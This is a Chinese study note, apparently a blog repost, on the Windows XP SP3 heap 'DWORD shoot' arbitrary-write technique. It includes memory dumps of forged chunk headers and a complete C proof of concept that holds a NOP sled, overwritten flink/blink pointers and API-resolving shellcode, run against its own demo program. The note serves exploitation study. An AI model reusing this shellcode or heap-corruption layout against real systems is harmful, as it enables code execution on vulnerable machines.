只是笔记························································

堆块学习···

DWORD SHOOT

下面环境为  XP   sp3 VC6.0  RELEASE

#include <windows.h>int main()
{  HLOCAL h1 = 0, h2 = 0;  HANDLE hp;  hp = HeapCreate(0,0x1000,0x10000);  h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,0x10);  return 0;
}  

xp 下面介绍 CHUNK插入链表的过程:

执行完 HeapCreate 后  

开始拆卸链表:

接着开始关键部分:

到这里  新chunk的插入部分的关键部分也就结束了··············

总结:

[新chunk->flink]  = 旧chunk->flink

[新chunk->blink] = 旧chunk->blink

 [ 旧chunk->blink->flink ] = 新chunk

[旧chunk->blink] = 新chunk


实际上是造成了一个向任意地址写入固定值得 漏洞 dword shoot

下面是正常情况反映················································

003A0688  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
003A0698  2D 01 03 00 00 10 00 00 78 01 3A 00 78 01 3A 00  -....x:.x:.
003A06A8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
003A06B8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
003A06C8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
003A06D8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
003A06E8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

003A0688  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
003A0698  03 00 03 00 8F 01 08 00 00 00 00 00 00 00 00 00  ..?.........
003A06A8  00 00 00 00 00 00 00 00 2A 01 03 00 00 10 00 00  ........*....
003A06B8  78 01 3A 00 78 01 3A 00 00 00 00 00 00 00 00 00  x:.x:.........
003A06C8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
003A06D8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
003A06E8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

在这里构造:在第二次分配之前!!!!

[0x003a06b8]      =   0x003a06eb

[0x003a0638+4]  =   0x0012ffe4

[0x0012ffe4]        =  0x003a06b8

[0x003a06eb+4]  =   0x003906b8

003A0688  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  悙悙悙悙悙悙悙悙
003A0698  10 01 10 00 99 99 99 99 EB 06 3A 00 EB 06 3A 00  .櫃櫃?:.?:.
003A06A8  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  悙悙悙悙悙悙悙悙
003A06B8  90 90 90 90 90 90 90 90 EB 31 90 90 90 90 90 90  悙悙悙悙?悙悙悙
003A06C8  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  悙悙悙悙悙悙悙悙
003A06D8  90 90 90 90 90 90 90 90 90 90 90 11 01 10 00 99  悙悙悙悙悙?.
003A06E8  99 99 99 8C 06 3A 00 E4 FF 12 00

003A06B8   /EB 06           jmp X003A06C0
003A06BA   |3A00            cmp al,byte ptr ds:[eax]
003A06BC   |E4 FF           in al,0xFF
003A06BE   |1200            adc al,byte ptr ds:[eax]
003A06C0   \EB 31           jmp X003A06F3             //而这个的EB 31 是我们故意设置的跳转
#include <stdio.h>
#include <windows.h>char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x10\x01\x10\x00\x99\x99\x99\x99""\xEB\x06\x3a\x00\xEB\x06\x3a\x00""\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\xEB\x31\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x11\x01\x10\x00\x99\x99\x99\x99\x8C\x06\x3a\x00\xb4\xFF\x12\x00""\x90\x90\x90\x90""\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C""\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53""\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B""\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95""\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59""\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A""\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75""\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03""\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB""\x53""\x68\x64\x61\x30\x23""\x68\x23\x50\x61\x6E""\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
void main()
{   HLOCAL h1,h2;HANDLE hp;hp = HeapCreate(0,0x1000,0x10000);
//  __asm int 3h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);memcpy(h1,shellcode,300);h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);int zero=0;zero=1/zero;printf("%d",zero);
}

转载于:https://www.cnblogs.com/zcc1414/p/3982381.html

利用chunk重设大小攻击堆相关推荐

  1. windows server2012中创建密码重设盘

    利用密码重设盘恢复密码 转载于:https://blog.51cto.com/zhongxiaofei/1906635

  2. 创建密码重设盘////密码重设盘修改密码

    1.插入移动盘/U盘 2.创建密码重设盘 点击Ctrl+Alt+delete 键,选择更改密码,点击创建密码重设盘,如下所示 ​ ​ ​ ​ ​ ​ ​ 说明:     创建好了密码重设盘之后,会在U ...

  3. 中文网页重设与排版:TYPO.CSS

    中文网页重设与排版:TYPO.CSS 一致化浏览器排版效果,构建最适合中文阅读的网页排版 关于 TYPO.CSS 排版实例 例1:论语学而篇第一 例2:英文排版 附录 TYPO.CSS 排版偏重点 开 ...

  4. html 文字加点 样式,中文网页重设与排版:TYPO.CSS

    中文网页重设与排版:TYPO.CSS 一致化浏览器排版效果,构建最适合中文阅读的网页排版 一.关于 TYPO.CSS TYPO.CSS 的目的是,在一致化浏览器排版效果的同时,构建最适合中文阅读的网页 ...

  5. 渲染:重绘,重排/重新布局,重设样式

    2010 update: Lo, the Web Performance Advent Calendar hath moved 2010年更新: Lo, Web Performance Advent ...

  6. (转)目前比较全的CSS重设(reset)方法总结

    在当今网页设计/开发实践中,使用CSS来为语义化的(X)HTML标记添加样式风格是重要的关键.在设计师们的梦想中都存在着这样的一个完美世界:所有的浏览器都能够理解和适用多有CSS规则,并且呈现相同的视 ...

  7. mysql identity sql,SQL Server的Identity字段使用/复制/重设

    SQL Server的Identity字段使用/复制/重设 在数据库中, 常用的一个流水编号通常会使用 identity 字段来进行设置, 这种编号的好处是一定不会重复, 而且一定是唯一的, 这对ta ...

  8. 解决:docker容器内可以访问web应用,端口映射到宿主机却无法访问,错误代码:curl: 56 Recv failure: 连接被对方重设

    解决:docker容器内可以访问web应用,端口映射到宿主机却无法访问,错误代码:curl: 56 Recv failure: 连接被对方重设 或者 curl: 52 Empty reply from ...

  9. 番外篇Engineer07--DAY14(重设root密码 LDAP 部署autofs实现按需挂载 swap交换空间)

    常见的Linux版本: 红帽.Ubuntu.Suse.Debian.FreeBSD RHEL 和 CentOS有什么区别? 红帽认证系统管理员 -- 重设root密码 使用LDAP集中认证来提高用户管 ...

最新文章

  1. R语言plotly可视化:plotly可视化在散点图中添加误差条(Scatterplot with Error Bars with plotly in R)
  2. Android开发之大位图二次採样压缩处理(源码分享)
  3. mysql分析表增删改统计_MySQL增删改查|附思维导图
  4. 【C++学习】String类的基本用法
  5. VM安装失败 Failed to create the requested registry key Key:installer Error:1021
  6. Community找不到Workspace按钮的处理方法
  7. 1到100的平方和 java,java 1个数等于几个数平方和
  8. 《动手学深度学习》Mxnet环境搭建
  9. BAT等大厂年薪30W+面试清单:JVM\MySQL\设计模式\分布式\微服务
  10. 基于STM32的步进电机驱动设计
  11. 为什么要用交叉熵作为代价函数
  12. HTTP接口的请求参数类型有哪些
  13. 按摩器具抽查三成不合格 选购需注意哪些?
  14. 帝国网站mysql 数据库开发_帝国cms操作数据库函数范例(二次开发)
  15. java 成员变量存在哪_Java中成员变量、局部变量、全局变量、静态变量存在位置及初始化...
  16. Google发布免费的SketchUp
  17. 什么是 JavaBeans ?
  18. 19.ZigBee复习
  19. PlantSimulation运行卡顿-查找问题方案
  20. 【报告分享】短视频创作者作品发布时间研究报告-小葫芦(附下载)

热门文章

  1. angular cli 切换 css_漫谈 Angular 定制主题的四种方式
  2. JZOJ 4307. 【NOIP2015模拟11.3晚】喝喝喝
  3. PHP 模拟真实ip,PHP实现-获取用户的真实IP
  4. windows系统禁止更改服务启动类型_Win10系统关闭自动更新方法
  5. 用matlab求残余误差,matlab在测量误差分析中的应用
  6. BZOJ-1013-球形空间产生器sphere
  7. [CODEVS 1173] 最优贸易
  8. AtCoder AGC032F One Third (组合计数、DP、概率期望、微积分)
  9. fileinput设置编码python_Python的各种编码设置
  10. canvas 红包雨_天猫双十一怎么买省钱?京东双十一红包口令淘宝双十一活动攻略...